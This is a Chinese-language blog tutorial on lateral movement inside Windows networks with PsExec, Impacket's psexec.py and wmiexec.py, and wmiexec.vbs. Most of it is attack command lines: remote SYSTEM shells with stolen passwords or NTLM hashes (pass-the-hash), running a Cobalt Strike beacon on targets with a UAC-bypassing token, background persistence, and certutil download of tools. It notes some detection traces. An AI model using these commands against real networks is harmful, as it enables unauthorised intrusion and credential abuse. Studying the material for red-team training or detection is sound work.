21.横向移动工具——Psexec、wimexec

Psexec

 

 

一、利用条件:

 

1、具有正确的凭证(内存凭证、账号密码、账号NTLM Hash)

2、能建立IPC链接(也就是需要通过smb认证的),且目标机器开启了共享(默认开启的),并且目标共享中必须有admin$共享

 

二、优缺点

 

优点:可以直接获取SYSTEM权限的半互式shell

缺点:利用时会产生一个Psecex的服务,这个服务会产生日志文件,容易被溯源(创建的服务在执行后会自删除)

注意:

①PSESVC服务将会安装在远程系统中,此时将会生成Event4697、7045这两种时间日志;

②PsExec的2.1版本之后将不再是明文传输;

 

三、PsExec利用原理

21.横向移动工具——Psexec、wimexec

 

四、PsExec工具简介

 

该工具出自PsTools工具包,这个工具包虽然是微软的,但还是有一些杀软还是会检测的,https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

这个工具包中还包含很多工具,可以到上面那天链接一并下载尝试

   

PsExec在远程系统上执行程序,应用程序会以交互方式执行

 

用法:psexec [\\computer[,computer2[,...] | @file]][-u user [-p psswd][-n s][-r servicename][-h][-l][-s|-e][-x][-i [session]][-c executable [-f|-v]][-w directory][-d][-<priority>][-a n,n,...] cmd [arguments]

具体参数看这个:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

注意:参数顺序不能乱!

 

五、PsExec常用参数

 

①psexec -accepteula         

#在拿到一台跳板机,需要把PsExec文件上传到跳板机运行从而横向渗透的时候(例如在CS上操作时),这条参数必须第一时间输入从而避免弹框。

 

②psexec \\ip -u administrator -p admin cmd

#进⼊半交互式shell

 

③psexec \\;ip -u administrator -p admin -s cmd

#进⼊system权限的半交互式shell

 

④psexec \\ip - uadministrator -p admin -w c:\cmd

#进⼊交互式shell,且c:\是⽬标机器的⼯作⽬录。

 

⑤psexec \\ip -u administrator -p admin whoami all

#whoamiall不能使⽤引号括起来。

 

⑥psexec \\ip -u administrator -p admin -d c:\beacon.exe

#如果不加-d,且⽬标的beacon.exe没有运⾏完毕的话,psexec是会卡住的。

 

⑦psexec \\ip -u administrator -p admin -h -d c:\beacon.exe

#以帐⼾的提升令牌运⾏该进程,简单来说就是过了UAC的⽤⼾权限。

 

⑧psexec \\ip -u administrator -p admin -h -d -c c:\beacon.exe

#以帐⼾的提升令牌在后台运⾏我们把本地c:\beacon.exe传到⽬标c:\windows\beacon.exe

#程序退出后,复制到目标的程序不会删除

 

 

五、PsExec.exe操作

 

1、先用make_token创建一个令牌

21.横向移动工具——Psexec、wimexec 

 

2、上传文件到跳板机

21.横向移动工具——Psexec、wimexec

 

 21.横向移动工具——Psexec、wimexec

 

3、绕过弹窗

21.横向移动工具——Psexec、wimexec

 

4、执行脚本上线

21.横向移动工具——Psexec、wimexec

 

 21.横向移动工具——Psexec、wimexec

 

六、PsExec.py

这个工具来自python的impact包:https://github.com/SecureAuthCorp/impacket

安装好impact包就可以看参数了: 

 21.横向移动工具——Psexec、wimexec

 

    常用参数:

Python psexec.py <username>:"<password>"@192.168.1.4 cmd

Python psexec.py <username>:"<password>"@192.168.1.4 whoami

 

 

wimexec

 

 

一、利用条件:

    1、目标开启135、445、49154端口

    2、拥有目标的凭证(明文账号密码、账号hash、内存有正确的凭证)

 

二、优缺点:

优点:不用手工;有回显;更隐蔽(wmi)

缺点:网络请求比较多;需要对方开启rpc服务,现实环境中有六七成机器是不会开的

 

三、大致原理:

先使用凭证与目标进行认证,再通过调用目标的wmmi创建并启用服务,然后把结果输出到共享中,再通过IPC$读取结果。

 

四、wmiexec.py:

 

1、工具简介:

与psexec.py一样,来自impact工具包,该工具主要是把繁琐的手工变为程序化:https://github.com/SecureAuthCorp/impacket/tree/master/examples

 

2、wmiexec.py的参数:

    太多了截不完,可以装好impact工具包看一下:

21.横向移动工具——Psexec、wimexec

 

3、wmiexec.py的常用参数:

 

①python wmiexec.py administrator:admin@192.168.1.4

#进⼊半交互式shell

 21.横向移动工具——Psexec、wimexec

②python wmiexec.py administrator:admin@192.168.1.4 “whoami”

#执⾏完whoami就退出

 

③python wmiexec.py -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 administrator@192.168.1.4

#使⽤NTLM登录进⼊半交互式

#其实那32个0,可以直接使⽤原本的LMHash的,只是如果没有LMhash的话,就⽤32个0代替,32个0后面那一串东西就是NTLM。

 

④python wmiexec.py -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 administrator@192.168.1.4 whoami

#使⽤NTLM登录执⾏完whoami就退出

 

⑤python wmiexec.py -share c$ administrator:admin@192.168.1.4 whoami

#使⽤C$作为读取结果的路径,如果没有敲上c$会默认使⽤admin$,但是有时候admin$会被删除或者是没有读取的权限,这个看具体情况。

 

此外,可以把wmiexec.py编译成二进制文件,方便随时拿到其他机器上使用,例如用certutil -urlcache -split -f 

 

五、wmiexec.vbs:

 

wmiexec.vbs是TOOLs的大佬Twiligt写的:https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar

这个BBS脚本可以调用WMI来模拟psexec的功能,基本上psexec能用的地方这个脚本也能用

 

1、wmiexec.vbs参数:

 

cscript //nologo wmiexec.vbs

21.横向移动工具——Psexec、wimexec

 

2、wmiexec.vbs常用参数:

 

①Cscript wmiexec.vbs /cmd 192.168.1.4 whoami

#执⾏whoami命令并退出

21.横向移动工具——Psexec、wimexec

Wmiexec.vbs执行时会在目标机器生成一个wmi.dll文件,再通过RPC去读取这个文件的,然后自动删除该文件

 

②-persist

21.横向移动工具——Psexec、wimexec

 

如果想要让程序在后台运行,需要进入一个半交互shell中运行-persist,加了-persist参数后,程序会在后台执行,不会有结果输出,但是会返回这个命令进程的PID,方便结束进程

 

③-waitTIME

21.横向移动工具——Psexec、wimexec

如果要执行的命令需要长时间才能返回结恶果,就需要用到-waitTIME参数

 

一般来说还是wmiexec.py用的更多一些

 

上一篇:redis的持久化


下一篇:redis 两种持久化方式详解(RDB,AOF)